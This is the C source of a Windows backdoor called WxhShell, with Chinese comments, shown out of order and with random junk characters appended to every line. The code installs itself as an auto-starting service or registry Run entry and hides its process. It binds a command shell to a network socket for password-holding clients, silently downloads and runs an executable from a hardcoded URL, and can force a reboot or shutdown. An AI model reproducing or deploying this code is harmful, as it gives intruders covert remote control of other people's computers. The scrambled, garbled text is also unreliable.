    if(Boot(SHUTDOWN)) V &Mf:@y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PfG`C5 d  
    else { "Vd_CO  
    closesocket(wsh); !EF(*~r!9L  
    ExitThread(0); )F pJ 1  
    }  >0Ev#cX4  
    break;  m@rSz  
    } ,Vd7V}t  
  // 获取shell 0{^H]Y  
  case 's': { x.$1<w64t  
    CmdShell(wsh); Qbeeq6  
    closesocket(wsh); uXQ >WI@eF  
    ExitThread(0); "DSPPE&[c  
    break; 5V-jMB  
  } $R^AEa7  
  // 退出 Q;h3v1GC\P  
  case 'x': { o%y;(|4t >  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V+Xl9v4O  
    CloseIt(wsh); I<h=Cj[[  
    break; >O]s&34  
    } :a3LS|W  
  // 离开 )%Y IGV;&  
  case 'q': { :DkAQ-<~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~fzuwz  
    closesocket(wsh); dl l%4Sd  
    WSACleanup(); noNm^hFL  
    exit(1); q]<xMg#nu  
    break; , fb( WY  
        } */OI *{Q  
  } %85Icg  
  } W7UtA.2LT  
FA>1x*;c  
  // 提示信息 rOl6lQW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u/AT-e r;  
} |V`S >m%N  
  } SFjU0*B$  
=^h~!ovj:  
  return; <%bw/  
} _zC (J  
3@5p"X  
// shell模块句柄 j%&  IL0  
int CmdShell(SOCKET sock) V`fL%du,3  
{ 5)+F(  
STARTUPINFO si; 0H=9@  
ZeroMemory(&si,sizeof(si)); m/USC'U%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tLX,+P2|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VRS 2cc  
PROCESS_INFORMATION ProcessInfo; 's@MQ! *  
char cmdline[]="cmd"; +T_ p8W+j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "dN < i  
  return 0; !Qu PG/=X  
} K 6pw8  
V 2kWiyN  
// 自身启动模式 EIX\O6*  
int StartFromService(void) R]b! $6Lt  
{ WPY8C3XO  
typedef struct #*%fu  
{ 17py ).\  
  DWORD ExitStatus; x3p9GAd#  
  DWORD PebBaseAddress; ER|!KtCSM  
  DWORD AffinityMask; aqQ o,5U>  
  DWORD BasePriority; /jrY%C  
  ULONG UniqueProcessId; Etmo7 8e  
  ULONG InheritedFromUniqueProcessId; UR>_)*  
}   PROCESS_BASIC_INFORMATION; n@B{vyy  
qw:9zYG}qW  
PROCNTQSIP NtQueryInformationProcess; T_L6 t66I  
!p% @Deu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F +j O*F2h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fuSq ={]  
/GsrGX8  
  HANDLE             hProcess; 0K3Hf^>m  
  PROCESS_BASIC_INFORMATION pbi; jmW^`%;7  
~Q!~eTw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B!q?_[k,  
  if(NULL == hInst ) return 0; ` py}99G  
d7i#w #  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rycJyiw<-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &X w`T9<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %F$N#YG  
J%r7<y\  
  if (!NtQueryInformationProcess) return 0; Pc4R!Tc  
/"0as_L<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2oNV=b[  
  if(!hProcess) return 0; u 2lX d'  
+#v4B?NR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |[wyc!nY).  
w~v<v&  
  CloseHandle(hProcess); 0_V*B[V  
u[`v&e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @aB9%An1  
if(hProcess==NULL) return 0; }=pOiILvD  
QV)}3pW  
HMODULE hMod; Gm@iV,F%R  
char procName[255]; T{ nQjYb?  
unsigned long cbNeeded; wG:$6  
UT-ewXh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LV=^jsQ5  
~j}J<4&OvC  
  CloseHandle(hProcess); ;E2kT GT  
!d|8'^gc  
if(strstr(procName,"services")) return 1; // 以服务启动 c9|a$^I6  
vcOsq#UW  
  return 0; // 注册表启动 B}k'@;G  
} 77_g}N  
`wV|q~  
// 主模块 +QupM  
int StartWxhshell(LPSTR lpCmdLine) z6}Pj>1  
{ %g-0O#8}  
  SOCKET wsl; F(G<* lA  
BOOL val=TRUE; 3#<'[TF00t  
  int port=0; y"Ihr5S\  
  struct sockaddr_in door; 9C1b^^Kb  
*?b@>_1K  
  if(wscfg.ws_autoins) Install(); "0<Sd?Sz  
_3KZME  
port=atoi(lpCmdLine); z qO$  
Lkp&;+  
if(port<=0) port=wscfg.ws_port; 0i _  
9g+UJ\u^  
  WSADATA data; m\} =4b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !a)s`  
$*aE$O6l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   As p8qHS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dwk$CJb3-  
  door.sin_family = AF_INET; /\TlO.B=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rN'.&;Y5  
  door.sin_port = htons(port); 7zi"caY  
-Cml0}.O   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V[To,f  
closesocket(wsl); ylT6h_z1[Y  
return 1; I4CHfs"ar  
} w2K Wa-BO  
:MdEr//w  
  if(listen(wsl,2) == INVALID_SOCKET) { XzlIW&"uC  
closesocket(wsl); T!&jFy*W  
return 1; ->Q`'@'|P  
} )MMhlcNC  
  Wxhshell(wsl); <Q\H  
  WSACleanup(); g!.Ut:8L9  
a]{uZGn@i  
return 0; \/ X{n*Hw?  
1wU=WE(kKZ  
} f^ywW[dF  
/H.(d 4C  
// 以NT服务方式启动 \&# p1K(H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {4o\S  
{ Y+OYoI  
DWORD   status = 0; _u`B3iG  
  DWORD   specificError = 0xfffffff; 6S2r  
lJ("6aT?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rS=tcB O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c-ttds  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sio)_8tp  
  serviceStatus.dwWin32ExitCode     = 0; } =xI3;7  
  serviceStatus.dwServiceSpecificExitCode = 0; #%:`p9p.S  
  serviceStatus.dwCheckPoint       = 0; ?L8&(&1@VD  
  serviceStatus.dwWaitHint       = 0; .wM:YX'[G  
!k%l+I3J[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gmqs`{tc  
  if (hServiceStatusHandle==0) return; kf}F}Ad:%  
A-X  
status = GetLastError(); Ny]'RS-  
  if (status!=NO_ERROR) .Kg|f~InO  
{ f<) Ro$   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XTIu(f|d_;  
    serviceStatus.dwCheckPoint       = 0; JgxE|#*7U  
    serviceStatus.dwWaitHint       = 0; L,yA<yrC  
    serviceStatus.dwWin32ExitCode     = status; 'E@2I9Kj  
    serviceStatus.dwServiceSpecificExitCode = specificError; @*bvMEE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #: dR^zr<  
    return; C,9)V5!tP2  
  } B#| Z`mZ  
:Pj W:]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g?w2J6Z.`J  
  serviceStatus.dwCheckPoint       = 0; u'#`yTB6b  
  serviceStatus.dwWaitHint       = 0; uDpf2(>s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d3\OHkM0^  
} DN4fP-m-  
E~rs11  
// 处理NT服务事件,比如:启动、停止 cZCGnzy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ( [K2:n\  
{ v; je<DT  
switch(fdwControl) y21)~  
{ L7i}Ga!8  
case SERVICE_CONTROL_STOP: 16a_GwfM  
  serviceStatus.dwWin32ExitCode = 0; 8=lHUn9l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; " whO}  
  serviceStatus.dwCheckPoint   = 0; Wg}B@:`T  
  serviceStatus.dwWaitHint     = 0; =}B4I  
  { P@^z:RS*{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~uP r]#  
  } ~ >&I^4  
  return; E.?E~}z  
case SERVICE_CONTROL_PAUSE: \f8P`oET~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SJ1w1^#Pz  
  break; DBqg_v  
case SERVICE_CONTROL_CONTINUE: I rtF4ia.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yS1b,cxz  
  break; HA$^ *qn  
case SERVICE_CONTROL_INTERROGATE: zz7Y/653  
  break; *#9VC)Q  
}; |@T5$Xg]5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o(B<!ji~'  
} J=f:\]@Oy  
v_?s1+w  
// 标准应用程序主函数 {bAWc.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NB|RZf9M  
{ 0A) Vtj$  
Yio>ft&g]  
// 获取操作系统版本 xI/{)I1f  
OsIsNt=GetOsVer(); zbF:R[)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m;;0 Cl  
4jC4X*  
  // 从命令行安装 >%PL_<Vbv  
  if(strpbrk(lpCmdLine,"iI")) Install(); [dSDg2]  
[4K9|/J  
  // 下载执行文件 7yq7a[Ra  
if(wscfg.ws_downexe) { LUe>)eqw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~!a~C~_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2b 6? 9FX*  
} iBGSBSeL&  
_IQU<Za  
if(!OsIsNt) { fPh}l  
// 如果时win9x,隐藏进程并且设置为注册表启动 F20wf1^  
HideProc(); vF*^xhh  
StartWxhshell(lpCmdLine); Dz"u8 f  
} ? 6yF{!F*  
else 0)6i~MglY  
  if(StartFromService()) IGh !d?D  
  // 以服务方式启动 Z@>=&  
  StartServiceCtrlDispatcher(DispatchTable); 7- *( a  
else }[=xe(4]D  
  // 普通方式启动 I =tyQ`  
  StartWxhshell(lpCmdLine); 4 ~MJ4:  
[*Aqy76Qa  
return 0; Yj^avO=;  
} 1sIy*z  
QK``tWLIg7  
&;~2sEo,  
X]&;8  
=========================================== RTPq8S"  
ei+9G,  
!]{1h  
uFm(R/V  
'XZI{q2i  
A-Q{*{^#  
" .pB8=_e:  
Tdk2436=  
#include <stdio.h> 0gwm gc/#  
#include <string.h> ?d>P+).  
#include <windows.h> "2#-xOCO  
#include <winsock2.h> n!l./>N  
#include <winsvc.h> \GbHS*\+  
#include <urlmon.h> tpNtoqg_$  
1Rb XM n  
#pragma comment (lib, "Ws2_32.lib") !yV,|)y5F  
#pragma comment (lib, "urlmon.lib") Th& Wq  
DJD]aI  
#define MAX_USER   100 // 最大客户端连接数 ?'ez.a}  
#define BUF_SOCK   200 // sock buffer 5 CY_Ay\  
#define KEY_BUFF   255 // 输入 buffer y'0dl "Dy\  
nyl8=F:V  
#define REBOOT     0   // 重启 .%J?T5D  
#define SHUTDOWN   1   // 关机 &0th1-OP_  
w$(0V$l_  
#define DEF_PORT   5000 // 监听端口 c5wkzY h  
Wd^F%)(  
#define REG_LEN     16   // 注册表键长度 PcNf TB{  
#define SVC_LEN     80   // NT服务名长度 r:WgjjA%  
R[>;_}5">  
// 从dll定义API 7q2"b?|h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zy!)8<Cgm'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tz0Ttu=xH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n ]6 0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wEHAkc)Q  
UgD'Bi  
// wxhshell配置信息 ['}^;Y?*o  
struct WSCFG { qUoMg%Z%l  
  int ws_port;         // 监听端口 V&4:nIS>z  
  char ws_passstr[REG_LEN]; // 口令 d=4f`q0k  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8~[C'+r  
  char ws_regname[REG_LEN]; // 注册表键名 uJ)=+Exii  
  char ws_svcname[REG_LEN]; // 服务名 f9 l<$l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o {Xw Li  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |peMr#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #<tWYE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jL7MmR#y5"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S$lmEJ_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <igx[2X  
ExOB P  
}; ]"7DV3_  
yhkQFB%gv  
// default Wxhshell configuration _/sf@R  
struct WSCFG wscfg={DEF_PORT, ?lET45'  
    "xuhuanlingzhe", G2yUuyAZ  
    1, "{ry 9?z  
    "Wxhshell", rlO%%Qn`  
    "Wxhshell", 49J+&G?)j  
            "WxhShell Service", mBpsgm:g^  
    "Wrsky Windows CmdShell Service", WRcFE<  
    "Please Input Your Password: ", `6BS-AVO7  
  1, FbCZV3Y  
  "http://www.wrsky.com/wxhshell.exe", vN%j-'D\A4  
  "Wxhshell.exe" 'j"N2NJ  
    }; P8,{k  
6JFDRsX>)?  
// 消息定义模块 Lx:N!RDw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {OhkuON  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (15Yw9Mv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YqY6\ mo  
char *msg_ws_ext="\n\rExit."; >NOYa3  
char *msg_ws_end="\n\rQuit."; hRy }G'0  
char *msg_ws_boot="\n\rReboot..."; 'd.@4 9  
char *msg_ws_poff="\n\rShutdown..."; t0V_ c'm  
char *msg_ws_down="\n\rSave to "; }DUDA%U  
j]?0}Z*  
char *msg_ws_err="\n\rErr!"; );uZ4PNK/?  
char *msg_ws_ok="\n\rOK!"; 6U>jU[/  
|YGiATD4DG  
char ExeFile[MAX_PATH]; Bbt8fJA~  
int nUser = 0; s[B6%DI/5  
HANDLE handles[MAX_USER]; 7 6i rb!-  
int OsIsNt; W$t}3Ru  
6:EH5IO  
SERVICE_STATUS       serviceStatus; Kf?{GNE7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F;Xq:e8  
xXU/m|  
// 函数声明 kN9sug^  
int Install(void); WGG) mh&-  
int Uninstall(void); mQA<t)1  
int DownloadFile(char *sURL, SOCKET wsh); klC^xSx  
int Boot(int flag); h%w\O Z7  
void HideProc(void); 'Rh>w=wB'  
int GetOsVer(void); 3JE;:2O~P  
int Wxhshell(SOCKET wsl); 7SY->-H8  
void TalkWithClient(void *cs); hv:Z%D |S  
int CmdShell(SOCKET sock); ep}/dBg  
int StartFromService(void); bq6{ty"  
int StartWxhshell(LPSTR lpCmdLine); 4 TQISu)  
4tTZkJc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q'V{vFfY%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 33KPo0g7  
h'y@M+c(  
// 数据结构和表定义 [ rQ(ae  
SERVICE_TABLE_ENTRY DispatchTable[] = f93X5hFnF  
{ "xc*A&Sg  
{wscfg.ws_svcname, NTServiceMain}, gAUQQ  
{NULL, NULL} e "adkV  
}; Z8dN0AqZ  
]>4Qs  
// 自我安装 :XQ  
int Install(void) 'lRHdD}s  
{ _TN$c  
  char svExeFile[MAX_PATH]; &|{,4V0%A  
  HKEY key; yzNX2u1  
  strcpy(svExeFile,ExeFile); S5 nw  
-0r "#48(%  
// 如果是win9x系统,修改注册表设为自启动 .9fluAG  
if(!OsIsNt) { P[P72WR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { So 6cm|{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cf!k 9x9Z  
  RegCloseKey(key); Cm}UWX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &CmkNm_B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >T*g'954xF  
  RegCloseKey(key); >hL'#;:f#  
  return 0; ~\}EROb <  
    } rH:X/i;D  
  } p;t!"I:`?  
} 'sQO0611S  
else { l/UG+7  
e(\S,@VN2  
// 如果是NT以上系统,安装为系统服务 qf=[*ZY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,0~ {nQj]  
if (schSCManager!=0) 8B t-  
{ fh)`kZDk  
  SC_HANDLE schService = CreateService n03SX aU~V  
  ( g5|\G%dOt  
  schSCManager, #DRt Mrfat  
  wscfg.ws_svcname, 2P=~3g*  
  wscfg.ws_svcdisp, ;F(01  
  SERVICE_ALL_ACCESS, u R%R]X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }0nB' 0|y  
  SERVICE_AUTO_START, _r5Ild @n  
  SERVICE_ERROR_NORMAL, (@o />T  
  svExeFile, nJ#@W b@  
  NULL, E0Y/N?  
  NULL, 9la~3L_g  
  NULL, (dip Ks?K  
  NULL, ,h`D(,?X  
  NULL t RyGxqiG  
  ); V dOd:w  
  if (schService!=0) $q$\GOQ 9  
  { . _t,OX$  
  CloseServiceHandle(schService); +sluu!~  
  CloseServiceHandle(schSCManager); RR[TW;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X$&Sw3c  
  strcat(svExeFile,wscfg.ws_svcname); *B<I><'G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~+nSI-L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *3 8Y;{ 4  
  RegCloseKey(key); v 4b`19}  
  return 0; -*l[:5m  
    } [=1?CD  
  } i@^`~vj  
  CloseServiceHandle(schSCManager); <0 idG  
} FH21mwV  
} J<*Mk  
9k^=m)yS'  
return 1; mT~>4xi0  
} 5nq-b@?L  
UnF4RF:A2&  
// 自我卸载 VEEeQy  
int Uninstall(void) {-`OE  
{ /)4r2x  
  HKEY key; ,T~5iLKY  
i4r~eneP  
if(!OsIsNt) { ^JDV4>S\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SW'KYzn  
  RegDeleteValue(key,wscfg.ws_regname); BmF>IQ`M?  
  RegCloseKey(key); 1O7ss_E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2^M+s\p  
  RegDeleteValue(key,wscfg.ws_regname); ^ED>{UiNI  
  RegCloseKey(key); Df3v"iCq}  
  return 0; F X2`p_  
  } h#ot)m|I  
} E+Mdl*  
} b}*bgx@<  
else { m8^2k2  
H=RV M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &D w~Jq|  
if (schSCManager!=0) M%^laf  
{ 6lAo`S\)eX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )9Ojvp=#r:  
  if (schService!=0) :uDB3jN[  
  { <Pt\)"JA  
  if(DeleteService(schService)!=0) { s9bP6N!,  
  CloseServiceHandle(schService); )II,HT-LY  
  CloseServiceHandle(schSCManager); cS7!,XC  
  return 0; R_&z2I  
  } 8|Y^Jn\p5u  
  CloseServiceHandle(schService); W3rvKqdw5  
  } S IK{GWX  
  CloseServiceHandle(schSCManager); ;<<IXXKU  
} *~^^A9C8  
} Tic9r i  
6&0a?Xu  
return 1; {[~,q\M[  
} I|;#VejX  
94@!.11  
// 从指定url下载文件 Y,\mrW}K   
int DownloadFile(char *sURL, SOCKET wsh) BniVZCct  
{ {~h\;>  
  HRESULT hr; W)hby`k  
char seps[]= "/"; Sd6^%YB  
char *token; [KJL%u|8/  
char *file; /n:fxdhe  
char myURL[MAX_PATH]; rNC3h"i\  
char myFILE[MAX_PATH]; ra2q. H  
)ixE  
strcpy(myURL,sURL); Nq6CvDXi  
  token=strtok(myURL,seps); !P3|T\|]+  
  while(token!=NULL) M0 8Y  
  { oU?X"B9  
    file=token; W^Y(FUy~  
  token=strtok(NULL,seps); %BLKB%5  
  } !{ lb#  
d6&tz!f  
GetCurrentDirectory(MAX_PATH,myFILE); 9Wrcl ai  
strcat(myFILE, "\\"); 9 <m j@bI$  
strcat(myFILE, file); GqxK|G1  
  send(wsh,myFILE,strlen(myFILE),0); ?%ntO]  
send(wsh,"...",3,0); x=N;>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @R{&>Q:.  
  if(hr==S_OK) cEu98nP  
return 0; cfS]C_6d  
else nHjwT5Q+Q  
return 1; gMn)<u>  
jQ}| ]pj+  
} >WX'oP(<  
mIodD)?{  
// 系统电源模块 ~vF o 0k(  
int Boot(int flag) tH(#nx8  
{ ,-kZ5&r  
  HANDLE hToken; i(HhL&  
  TOKEN_PRIVILEGES tkp; ^O m]B;  
yQ50f~9  
  if(OsIsNt) { IPR396J+-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y))sk-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vq:j?7  
    tkp.PrivilegeCount = 1; 6si-IJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r |/9Dn%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r+u\jZ  
if(flag==REBOOT) { h zE)>f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (5&"Y?#o,  
  return 0; +Ti@M1A&  
} WpZ^R;eK  
else { 2Wtfx" .y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DlI|~  
  return 0; +Wc[ $,vk  
} 9k&$bC+Q  
  } d o7{  
  else { iSlVe~ef  
if(flag==REBOOT) { xW~@V)OH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8w' 8n  
  return 0; oZtz"B  
} sNVD"M,  
else { h+@t8Q;gGw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \gpKQt0  
  return 0; |\t_I~de  
} HfPeR8I%i  
} "RA$Twhj  
OQvJdjST  
return 1; n0q(EQy1U  
}  P_g  
-bF+uCfba  
// win9x进程隐藏模块 * =l9gv&  
void HideProc(void) + aF jtb  
{ pp jrm  
nv]64mL3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [bXZPIz;j  
  if ( hKernel != NULL ) >2/zL.O  
  { Fu$sfq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'P#I<?vB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9nE%r\H  
    FreeLibrary(hKernel); 5hMiCod  
  } )j'b7)W\  
.O^|MhBJu  
return; 0 CS_-  
} {5h_$a!TaU  
(%Rs&/vU~  
// 获取操作系统版本 ~fe0Ba4  
int GetOsVer(void) 3Y8 V?* 1|  
{ Z# 04 ]  
  OSVERSIONINFO winfo; )FLpWE"e-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qxx.f5 8H  
  GetVersionEx(&winfo); [geY:v_B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qDW/8b\^  
  return 1; Zj;!7ZuT1  
  else VbYapPu4b!  
  return 0; JiR|+6"7  
} 9^tyjX2  
{PKER$C  
// 客户端句柄模块 \!3='~2:=o  
int Wxhshell(SOCKET wsl) j3>< J  
{ LmE-&  
  SOCKET wsh; A5b}G  
  struct sockaddr_in client; 8TZe=sD~cr  
  DWORD myID; mfvQ]tz_+  
x@=7M'vr%  
  while(nUser<MAX_USER) ~cjvo?)&e;  
{ DI\sq8J^  
  int nSize=sizeof(client); rgCId@R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eMwf'*#  
  if(wsh==INVALID_SOCKET) return 1; r[x7?cXsW  
5tL6R3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *QX$Mo^E  
if(handles[nUser]==0) 8 _J:Yg  
  closesocket(wsh); XN@5TZoaW  
else 4/4IZfznX  
  nUser++; I}X8-WFB  
  } u(R`}C?P'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =3'wHl  
_u0dt) $  
  return 0; h| Ih4  
} Sa0\9 3oa  
~U|te_l  
// 关闭 socket @WmB0cc_  
void CloseIt(SOCKET wsh) JpDkf$kM  
{ ! [X<>  
closesocket(wsh); `xSXGI  
nUser--; 0/Csc\Xl  
ExitThread(0); cQny)2k*x  
} /[OMpP  
OX"`VE  
// 客户端请求句柄 R+\5hI@ >i  
void TalkWithClient(void *cs) };*5+XY^  
{ .o>QBYpTw/  
RwE]t$T/  
  SOCKET wsh=(SOCKET)cs; \3l;PY  
  char pwd[SVC_LEN]; ZD/!C9:&.0  
  char cmd[KEY_BUFF]; ;p/@tr9  
char chr[1]; 8c9_=8vw  
int i,j; &Ru6Yt0W  
~BC5no  
  while (nUser < MAX_USER) { c1`o3gb  
TsQMwV_h  
if(wscfg.ws_passstr) { MAXdgL[]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z8x(_ft5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C9h8d   
  //ZeroMemory(pwd,KEY_BUFF); S(Pal/-"  
      i=0; ;8@A7`^  
  while(i<SVC_LEN) { ,oC r6 ]  
F~B8XUa3  
  // 设置超时 Ah,Zm4:  
  fd_set FdRead; i[<O@Rb  
  struct timeval TimeOut; 6Z$T& Ul{  
  FD_ZERO(&FdRead); W +S>/`N  
  FD_SET(wsh,&FdRead); k`-L5#`  
  TimeOut.tv_sec=8; y& )z\8  
  TimeOut.tv_usec=0; >g?,BK@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u1uY*p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K"pfp !Y  
1#'wR3[+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xf0pQ]8\  
  pwd=chr[0]; 4&\m!s  
  if(chr[0]==0xd || chr[0]==0xa) { L{42?d  
  pwd=0; 6V)#Yf  
  break; l$FHL2?Cp  
  } it.l;L_nW  
  i++; mp#5V c  
    } . &e,8  
Y/ `fPgE  
  // 如果是非法用户,关闭 socket G/y< bPQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [L8gG.wy  
} 3laSPih[.  
PtHT>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u$0>K,f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8S0)_L#S  
w4OVfTlN  
while(1) { K46\Rm_:B;  
.JzO f[g5  
  ZeroMemory(cmd,KEY_BUFF);  np~oF  
%spR7J\"/  
      // 自动支持客户端 telnet标准   Eb.{M  
  j=0; MG~^>  
  while(j<KEY_BUFF) {  I{E10;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y]Y)?])  
  cmd[j]=chr[0]; 8Vq,J:+  
  if(chr[0]==0xa || chr[0]==0xd) { h\1_$ac  
  cmd[j]=0; dLAElTg  
  break; x*YJ :t  
  } ;{>z\6N  
  j++; gAE}3//  
    } eC1cE  
'{J!5x?L^  
  // 下载文件 #hai3>9|B  
  if(strstr(cmd,"http://")) { Hi ?],5,/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AVi|JY)>  
  if(DownloadFile(cmd,wsh)) cD{[rI E3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r6^DD$X  
  else 0c]Lm?&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6gp3n;D  
  } s?=J#WV1y  
  else { -i58FJ`B  
Tj>~#~  
    switch(cmd[0]) { $N+azal+y  
  >%7iL#3%  
